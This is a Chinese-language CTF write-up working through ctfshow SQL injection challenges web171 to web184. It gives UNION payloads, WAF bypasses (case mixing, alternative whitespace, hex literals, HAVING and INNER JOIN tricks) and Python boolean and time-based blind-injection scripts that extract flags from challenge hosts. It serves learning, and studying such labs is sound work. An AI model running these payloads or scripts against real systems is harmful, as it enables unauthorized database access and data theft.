CTFSHOW -SQL 注入

重新来做一遍 争取不看wp

还是看了。。。。

CTFshow sql注入 上篇(web171-220)更新中 - 掘金

【精选】CTFshow-WEB入门-SQL注入(上)_having盲注_bfengj的博客-CSDN博客

web171  基本联合注入

拿到题目我们已经知道了是sql注入

所以我们可以直接开始

第一题 不会难道哪里去 所以我们直接进行注入即可

1' and 1=2-- +
1' and 1=1-- +实现闭合 -1'+union+select+1,2,3--+%2b  查看字段数-1'+union+select+1,database(),3--+%2b 查看数据库 ctfshow_web-1'+union+select+1,group_concat(table_name),3+from+information_schema.tables+where+table_schema%3ddatabase()--+%2b   查看表 ctfshow_user-1'+union+select+1,group_concat(column_name),3+from+information_schema.columns+where+table_name%3d'ctfshow_user'--+%2b查看字段名 id,username,password-1'+union+select+1,group_concat(id,username,password),3+from+ctfshow_user--+%2b获取flag这里是bp抓包的格式 不是在页面进行注入的格式

web172  变为两个字段

3' union select 2,3-- +这题修改为两个字段 其他和上面无差别-1'+union+select+1,group_concat(id,username,password)+from+ctfshow_user2--+%2获取flag

web173  没看出区别

3' union select 2,database(),3-- +-1'+union+select+1,group_concat(table_name),3+from+information_schema.tables+where+table_schema%3ddatabase()--+%2b   查看表 ctfshow_user-1'+union+select+1,group_concat(column_name),3+from+information_schema.columns+where+table_name%3d'ctfshow_user3'--+%2b查看字段名 id,username,password-1' union select 1,group_concat(id,password),3 from ctfshow_user3-- +获取flag

web174 布尔盲注

我们开始写盲注脚本

之前一直写错了 所以我们开始写

import requestsurl = "http://9e7dc39c-5e8a-4608-a025-1f9eddee64a2.challenge.ctf.show/api/v4.php?id="
# payload = "1' and (ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{0},1))={1})-- +"
# payload = "1' and (ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_user4'),{0},1))={1})-- +"
payload = "1' and (ascii(substr((select group_concat(id,'--',username,'--',password)from ctfshow_user4 where username='flag'),{0},1))={1})-- +"
result = ''
flag = ''
for i in range(1,50):for j in range(37,128):payload1 = payload.format(i,j)re = requests.get(url = url+payload1)# print(re.text)if "admin" in re.text:result += chr(j)print(result)

没有二分法真的很慢的啊。。。 我们研究一下咋写吧

import requestsurl = "http://9e7dc39c-5e8a-4608-a025-1f9eddee64a2.challenge.ctf.show/api/v4.php?id="
# payload = "1' and (ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{0},1))={1})-- +"
# payload = "1' and (ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_user4'),{0},1))={1})-- +"
payload = "1' and (ascii(substr((select group_concat(id,'--',username,'--',password)from ctfshow_user4 where username='flag'),{0},1))>{1})-- +"
result = ''
flag = ''
for i in range(1,50):high = 128low = 32mid = (high + low )//2while (high > low):payload1 = payload.format(i,mid)# print(payload1)re = requests.get(url = url+payload1)# print(re.text)if "admin" in re.text:low = mid+1else:high = midmid = (high+low)//2if(chr(mid)==' '):breakresult +=chr(mid)print(result)#     print(result)

起飞咯 确实快了巨多

其实思路很简单就是 如果回显正确 我们就跟进,将low设置为mid

其实就是

32   128   80如果正确80   128   

然后一步一步进行缩小 如果错误 ,那么就说明太大了 我们就开始将 high设置为 mid的值 即80

然后需要重新设置mid的值

web175  时间注入

这里我们能够发现 啥回显都没有了 这里什么东西都没得 1 2 3 都没数据

那么这里如何注入呢 我们可以通过 sleep 进行时间盲注

我们先来了解一下 上面的布尔注入

1' and if(ascii(substr((select database()),1,1))>1,sleep(2),1)-- +

我们可以发现 时间盲注 其实就是在 if中增加了 sleep的值 让如果>1 就睡2秒 否则回显1

所以我们可以通过时间的计算来进行获取        

import requestsimport  timeurl = "http://5653e881-7c4e-48f9-95e5-8cc4647532b6.challenge.ctf.show/api/v5.php?id="
payload = "1' and if(ascii(substr((select database()),{0},1))={1},sleep(2),1)-- +"
flag =''
for i in range(1,50):for j in range(98,128):payload1 = payload.format(i,j)# print(payload1)start_time = time.time()re = requests.get(url = url+payload1)stop_time = time.time()sub_time = stop_time - start_timeif sub_time > 1.8:flag += chr(j)print(flag)break

这里我们就实现了最简单的时间盲注脚本 然后我们可以开始写二分法的

其实这里的二分法 就是判断条件改为时间即可

import requestsimport  timeurl = "http://5653e881-7c4e-48f9-95e5-8cc4647532b6.challenge.ctf.show/api/v5.php?id="
payload = "1' and if(ascii(substr((select database()),{0},1))>{1},sleep(2),1)-- +"
flag =''
for i in range(1,50):high = 128low = 32mid = (high+low)//2while (high>mid):payload1 = payload.format(i,mid)# print(payload1)start_time = time.time()re = requests.get(url = url+payload1)stop_time = time.time()sub_time = stop_time - start_timeif sub_time > 1.8:low = mid+1else:high = midmid = (high+low)//2if (chr(mid)==" "):breakflag += chr(mid)print(flag)

这里我们能够发现 其实都没有怎么变化 只是判断条件改变了 所以其实二分法只需要学会一种即可

然后通过判断条件的改变 就可以写出二分法的时间注入

然后我们更新一下二分法时间注入

import requestsimport  timeurl = "http://5653e881-7c4e-48f9-95e5-8cc4647532b6.challenge.ctf.show/api/v5.php?id="
# payload = "1' and if(ascii(substr((select database()),{0},1))>{1},sleep(2),1)-- +"
# payload = "1' and if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{0},1))>{1},sleep(2),1)-- +"
# payload = "1' and if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_user5'),{0},1))>{1},sleep(2),1)-- +"
payload = "1' and if(ascii(substr((select group_concat(id,'--',username,'--',password)from ctfshow_user5 where username='flag'),{0},1))>{1},sleep(2),1)-- +"
flag =''for i in range(1,50):high = 128low = 32mid = (high+low)//2while (high>mid):payload1 = payload.format(i,mid)# print(payload1)start_time = time.time()re = requests.get(url = url+payload1)stop_time = time.time()sub_time = stop_time - start_timeif sub_time > 1.8:low = mid+1else:high = midmid = (high+low)//2if (chr(mid)==" "):breakflag += chr(mid)print(flag)

发现不是那么南 只需要你会写盲注的二分法 然后通过修改判断条件即可

web176 大小写绕过

首先通过 order by 进行测试 可以发现是3个字段

但是通过union select 的时候就发现接口错误

说明过了waf

这里我们就可以开始对union select 进行测试了 最简单的测试就是 通过大小写绕过

发现成功回显 说明后端可能是通过正则对union select进行了过滤

所以我们可以猜测 后端可能是这种语句

只对字符串进行匹配 并且不对大小写进行过滤

所以我们就可以开始继续注入了

1'  uNIon seLEct 1,group_concat(password),3 from ctfshow_user where username='flag'-- +

 web177 过滤空格绕过

这里我们经过测试 可以发现空格被过滤了

所以这里我们可以通过

%a0 %0a () %09 %0c %0d  %0b  并且这里 -- + 不能使用 我们使用 # 但是这里我们需要url编码 就是 %23

然后我们就可以进行注入 了 这里也过滤了 union select 但是没有大小写

1'/**/Union/**/Select/**/1,2,group_concat(password)from/**/ctfshow_user/**/where/**/username='flag'%23

这里的waf我们猜测看可能是这样的

只过滤了 %20 所以我们可以使用其他的方式绕过

web178 过滤了/**/

这里和上面一题只是过滤了 /**/所以可以使用上面其他方式进行

1'%0aUnion%0aSelect%0a1,2,group_concat(password)from%0actfshow_user%0awhere%0ausername='flag'%23

这里过滤也只是多加了内容

 解释一下这里的正则

\/ 这里是匹配 \\* 匹配 *然后.*? 就是贪婪匹配 匹配 /*后的任何然后匹配结尾 \* 匹配后面的*\/ 匹配后面的/这样我们就可以匹配到/**/

如果我们只想匹配/**/只需要修改正则即可

\/\*\*\/

web179 过滤%0a %09等大多数符号

这道题有个非预期吧 直接通过 1'||1%23就可以输出了

 这题还是过滤了很多符号 然后我们需要通过 %0c来绕过

1'%0cUnion%0cSelect%0c1,2,group_concat(password)from%0cctfshow_user%0cwhere%0cusername='flag'%23

 这里的过滤应该就是讲一些符号加入匹配了

首先通过url编码获取到值 然后进行匹配

web180 过滤%23 使用闭合绕过

发现过滤了 %23

这里我们只能使用闭合了 使用 or '1 即可

-1'%0cUnion%0cSelect%0c5,group_concat(password),3%0c%0cfrom%0cctfshow_user%0cwhere%0cusername='flag'%0cor'1'='0

web181  通过 and or 优先级获取flag

开始回显waf了 过滤的有点多啊

  function waf($str){return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);}

 这里一时间没有思路看了wp发现 这里是可以通过 优先级进行绕过的

and > or 所以and会先执行1 and 0 ====0但是 1 and 0 or 1  就会变为   0 or 1  =====1所以我们可以根据这个特性绕过

 所以这里我们可以通过

-1'||username='flag

 来获取flag

web182  通过id查询 获取flag 和上题类似

一样的payload 直接打

失败了 过滤了flag 所以我们在之前爆破可以知道 id为 26

0'||id='26

看了文章 还有一个时间盲注的payload

-1'or(id=26)and(if(ascii(mid(password,1,1))>1,sleep(2),1))and'1来解释一下0 or 1 and 1 and '1 ======10 or 1 and 0 and '1 ======0这里就可以实现盲注 但是没有但是在测试的 时候 发现-1'or(id=26)and(if(ascii(mid(password,1,1))>1,1,0))and'1 这个也可以直接爆出flag这里要注意 if(表达式,1,0) 这里的1 是如果表达式真 就输出 1 否则输出 0所以我们前面 >1 这个时候就可以输出flag但是好多此一举啊 因为我们可以直接获取flag 何必盲注呢

 但是使用二分法 也是很快就是了

web183 通过闭合from 构造where 实现like匹配内容

这里说实在话 我刚刚进来 没看懂这道题目干嘛

POST 一个参数 用来查找返回的数量

返回的内容在这里

那我们要怎么实现注入呢 我们还是看看sql的语句

$sql = "select count(pass) from ".$_POST['tableName'].";";这里我们可以发现正常 我们的查询是where 后面进行注入 但是这里没有where啊?没有where ? 这里我们不就可控吗首先通过前面 我们知道了表 是 ctfshow_user 

发现回显了 所以这里是我们获取内容的地方

然后我们知道 这个语句中 不存在 where 那么我们写入where不就好了

$sql = "select count(pass) from ".$_POST['tableName'].";";修改select count(pass) from "ctfshow_user" where pass = ctf%";这种语句是否可行呢当然不可以 毕竟存在过滤 我们开始绕过 空格使用 括号
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);= 使用 like(ctfshow_user)where(pass)like(ctf%)这里ctf%是匹配ctf开头的内容 但是这里不行(ctfshow_user)where(pass)like'ctf%'需要这样

payload出来了 那么这么繁琐的内容 肯定就交给脚本咯

import stringimport requestsurl = "http://742f4f44-a736-424b-aa24-09424fc4210f.challenge.ctf.show/select-waf.php"payload = "(ctfshow_user)where(pass)like'ctfshow{0}"
flag = ''
for i in range(0,100):for j in '0123456789abcdefghijklmnopqrstuvwxyz-{}':payload1= payload.format(flag+j)+"%'"data = {'tableName':payload1}re = requests.post(url=url,data=data)if "$user_count = 1;" in re.text:flag +=jprint("ctfshow"+flag)

这里就可以获取到flag 是通过like的匹配这里

这里我们最好解读一下正则

return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);

首先就是过滤了很多符号防止绕过空格的过滤 其次过滤了 # 防止注释

or = select 也全部被过滤 并且增加了 /i 防止大小写绕过

web184 过滤了where 通过下面的方法绕过

首先解读正则

    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i',

和上面差不多 并且过滤了 where  union 单引号 双引号 内联 sleep

过滤更加严格了

但是放出了空格

我们如何读取内容呢

这里我们可以使用两个方式

regexp和like

这里我们先补充知识点

 $sql = "select count(*) from ".$_POST['tableName'].";";这里我们可以看见前面使用了 count聚合函数所以我们后面可以使用 group by having 这种用法group by 允许我们按照某个列进行分组having 允许对分组的数据再进行数据的筛选所以我们可以使用group by pass having pass like ''  或者group by pass having pass regexp ''

但是这里有个问题 就是 单引号双引号被过滤了 我们无法实现

怎么办呢 我们可以转换为 hex 进行执行

这里为什么可以直接通过regexp然后调用16进制

我在本地测试的时候发现 需要通过

SELECT COUNT(*) FROM admin GROUP BY name HAVING HEX(name) LIKE '61%'

这种语句才可以通过十六进制查询 这里为什么可以我还不是很明白

我们可以开始写payload

ctfshow_user group by pass having pass like (0x63746673686f777b%)

然后我就了然了

这里语句是错误的 因为我们如果使用十六进制拼接% 会报错

所以我们将 % 也转变为hex 就是25

HAVING 配合 like

ctfshow_user group by pass having pass like (0x63746673686f777b25)

这个时候 就可以回显正确的值了

这个时候我们只需要通过编写脚本即可

import requests
import string
url = "http://0890718d-8277-4712-8927-3ac132f6bd31.challenge.ctf.show/select-waf.php"paylaod = "ctfshow_user group by pass having pass like 0x63746673686f777b{0}"uuid = string.ascii_lowercase+string.digits+"-{}"
def str_to_hex(str):return ''.join([hex(ord(c)).replace('0x','') for c in str])
flag =''
for i in range(1,100):for j in uuid:payload1 = paylaod.format(str_to_hex(flag+j+'%'))data = {'tableName':payload1}re = requests.post(url=url,data=data)if "$user_count = 1;" in re.text:flag+=jprint("ctfshow{"+flag)

REGEXP

这里有一个问题就是需要25即 %来补充

那我们可不可以不需要25来代表后面还有内容呢

regexp即可

ctfshow_user group by pass having pass like (0x63746673686f777b25)这里的代码 我们修改为ctfshow_user group by pass having pass regexp(0x63746673686f777b)即可

那我们就再修改一下脚本看看能不能实现
 

import requests
import string
url = "http://0890718d-8277-4712-8927-3ac132f6bd31.challenge.ctf.show/select-waf.php"paylaod = "ctfshow_user group by pass having pass regexp(0x63746673686f777b{0}"uuid = string.ascii_lowercase+string.digits+"-{}"
def str_to_hex(str):return ''.join([hex(ord(c)).replace('0x','') for c in str])
flag =''
for i in range(1,100):for j in uuid:payload1 = paylaod.format(str_to_hex(flag+j))+")"# print(payload1)data = {'tableName':payload1}re = requests.post(url=url,data=data)if "$user_count = 1;" in re.text:flag+=jprint("ctfshow{"+flag)

发现依旧获取了flag

然后这里我好像看wp的时候还发现了一种方式

这里是对where 过滤 提供了新的思路

INNER join on

这道题目最难受的地方其实就是where被过滤了 我们只要绕过这个就可以了

这里我们可以通过INNER join on 来代替where

内连接

ctfshow_user a inner join ctfshow_user b on b.pass like (0x...)

这里其实就是

SQL INNER JOIN 关键字 | 菜鸟教程

这个讲的很清楚了 我们这里就是为了通过代替where 然后返回数值

简单来说就是两个表 当内连接后 将on后面条件符合的内容返回

所以这里我们修改也可以跑出来

这里需要注意修改

$user_count = 22;

然后我们就可以获取到flag了

import requests
import string
url = "http://0890718d-8277-4712-8927-3ac132f6bd31.challenge.ctf.show/select-waf.php"paylaod = "ctfshow_user a inner join ctfshow_user b on b.pass like 0x63746673686f777b{0}"uuid = string.ascii_lowercase+string.digits+"-{}"
def str_to_hex(str):return ''.join([hex(ord(c)).replace('0x','') for c in str])
flag =''
for i in range(1,100):for j in uuid:payload1 = paylaod.format(str_to_hex(flag+j+'%'))# print(payload1)data = {'tableName':payload1}re = requests.post(url=url,data=data)if "$user_count = 22;" in re.text:flag+=jprint("ctfshow{"+flag)break

web185

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/141938.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Pytorch常用的函数(四)深度学习中常见的上采样方法总结

Pytorch常用的函数(四)深度学习中常见的上采样方法总结 我们知道在深度学习中下采样的方式比较常用的有两种: 池化 步长为2的卷积 而在上采样过程中常用的方式有三种: 插值 反池化 反卷积 不论是语义分割、目标检测还是三维重建等模型&#xff0…

ios 对话框 弹框,输入对话框 普通对话框

1 普通对话框 UIAlertController* alert [UIAlertController alertControllerWithTitle:"a" message:"alert12222fdsfs" pr…

企业大楼门禁,千万不要这么管理!太慢了!

随着社会科技的飞速发展,安全管理已经成为各行业关注的焦点之一。在这个信息化时代,门禁监控系统作为一种全面提升安全性、管理效率的关键工具,逐渐成为企事业单位、学校、医疗机构等场所的不可或缺的一部分。 传统的门禁系统已经无法满足现代…

【移远QuecPython】EC800M物联网开发板的硬件TIM定时器精准延时

【移远QuecPython】EC800M物联网开发板的硬件TIM定时器精准延时 文章目录 导入库定时器初始化延时函数定时中断回调调用函数打包附录:列表的赋值类型和py打包列表赋值BUG复现代码改进优化总结 py打包 首先 这个定时器是硬件底层级别的 优先级最高 如果调用 会导致GN…

JavaScript库:jQuery,简化编程

jQuery介绍 官方网站: https://jquery.com jQuery 是一个 JavaScript 库 。极大地简化了 JavaScript 编程,例如 JS 原生代码几十行 实现的功 能, jQuery 可能一两行就可以实现,因此得到前端程序猿广泛应用。(现在处在比较边…

IO数据采集卡

串口modbus rtu 网口

微信自动添加好友

简要描述: 添加微信好友 请求URL: http://域名地址/addUser 请求方式: POST 请求头Headers: Content-Type:application/jsonAuthorization:login接口返回 参数: 参数名必选类型说明wId…

记一次 .NET 某券商论坛系统 卡死分析

一:背景 1. 讲故事 前几个月有位朋友找到我,说他们的的web程序没有响应了,而且监控发现线程数特别高,内存也特别大,让我帮忙看一下怎么回事,现在回过头来几经波折,回味价值太浓了。 二&#…

性能测试?

一、什么是性能测试 先看下百度百科对它的定义 性能测试是通过自动化的测试工具模拟多种正常、峰值以及异常负载条件来对系统的各项性能指标进行测试 我们可以认为性能测试是:通过在测试环境下对系统或构件的性能进行探测,用以验证在生产环境下系统性能…

MySQL是如何进行排序的,ORDER BY是如何执行的

MySQL 会给每个线程分配一块内存用于排序,称为 sort_buffer。 假设找出在杭州居住的人,按名字排序前1000个人(假设city有索引,那么非常舒服,不用全表扫描) select city,name,age from t where city杭州 or…

在qt的设计师界面没有QVTKOpenGLWidget这个类,只有QOpenGLWidget,那么我们如何得到QVTKOpenGLWidget呢?

文章目录 前言不过,时过境迁,QVTKOpenGLWidget用的越来越少,官方推荐使用qvtkopengnativewidget代替QVTKOpenGLWidget 前言 在qt的设计师界面没有QVTKOpenGLWidget这个类,只有QOpenGLWidget,我们要使用QVTKOpenGLWidget,那么我们如何得到QVTKOpenGLWidget呢? 不过,时过境迁,Q…

【ML】欠拟合和过拟合的一些判别和优化方法(吴恩达机器学习笔记)

吴恩达老师的机器学习教程笔记 减少误差的一些方法 获得更多的训练实例——解决高方差尝试减少特征的数量——解决高方差尝试获得更多的特征——解决高偏差尝试增加多项式特征——解决高偏差尝试减少正则化程度 λ——解决高偏差尝试增加正则化程度 λ——解决高方差 什么是…

Zookeeper概述

ZooKeeper概述 1 分布式应用程序2 分布式应用程序的特点3 Apache ZooKeeper简介4 ZooKeeper客户端 - 服务器架构5 ZooKeeper 分层命名空间6 Zookeeper 工作流7 ZooKeeper 选举机制7.1 ZooKeeper选举概述7.1.1 两种情况分析 7.2 选举实现细节 8 FastLeaderElection:选…

Maven 的 spring-boot-maven-plugin 红色报错

1、想要处理此情况&#xff0c;在工具下面加上指定的版本号。 2、给自己的maven的setting文件加工一下。 <mirrors><!--阿里云镜像1--><mirror><id>aliyunId</id><mirrorOf>central</mirrorOf><name>aliyun maven</name>…

数据分析法宝,一个 SQL 语句查询多个异构数据源

随着企业数据量呈现出爆炸式增长&#xff0c;跨部门、跨应用、跨平台的数据交互需求越来越频繁&#xff0c;传统的数据查询方式已经难以满足这些需求。同时&#xff0c;不同数据库系统之间的数据格式、查询语言等都存在差异&#xff0c;直接进行跨库查询十分困难。 原生跨库查…

RabbitMQ 核心部分之简单模式和工作模式

文章目录 一、Hello World&#xff08;简单&#xff09;模式1.导入依赖2.消息生产者3.消息消费者 二、Work Queues&#xff08;工作&#xff09;模式1.抽取工具类2.启动两个工作线程3.启动一个发送线程4.结果 总结 一、Hello World&#xff08;简单&#xff09;模式 在下图中&…

菜单栏管理软件 Bartender 3 mac中文版功能介绍

​Bartender 3 mac是一款菜单栏管理软件&#xff0c;该软件可以将指定的程序图标隐藏起来&#xff0c;需要时呼出即可。 Bartender 3 mac功能介绍 Bartender 3完全支持macOS Sierra和High Sierra。 更新了macOS High Sierra的用户界面 酒吧现在显示在菜单栏中&#xff0c;使其…

基于JavaWeb+SpringBoot+Vue摩托车商城微信小程序系统的设计和实现

基于JavaWebSpringBootVue摩托车商城微信小程序系统的设计和实现 源码传送入口前言主要技术系统设计功能截图Lun文目录订阅经典源码专栏Java项目精品实战案例《500套》 源码获取 源码传送入口 前言 近年来&#xff0c;随着移动互联网的快速发展&#xff0c;电子商务越来越受到…

mysq,数据库的综合查询

记录一下数据库综合查询&#xff0c;复习加深印象 创建教学数据库中包含四个基本表&#xff1a; 教师情况表Teacher&#xff08;Tno 教师号&#xff0c;TName 教师名&#xff0c;TDept 教师所在的院系&#xff09;&#xff1b;课程基本表Course&#xff08;Cno 课号&#xff…

优秀的技术管理者,每天应该做些什么事?

优秀的技术管理者每天应该做些什么事情&#xff1f;这是一个很重要的问题&#xff0c;因为技术管理者的日常工作直接影响着团队的效率和成果。下面我将从几个方面探讨优秀的技术管理者每天应该做些什么事情。 首先&#xff0c;优秀的技术管理者应该关注团队的目标和战略。他们…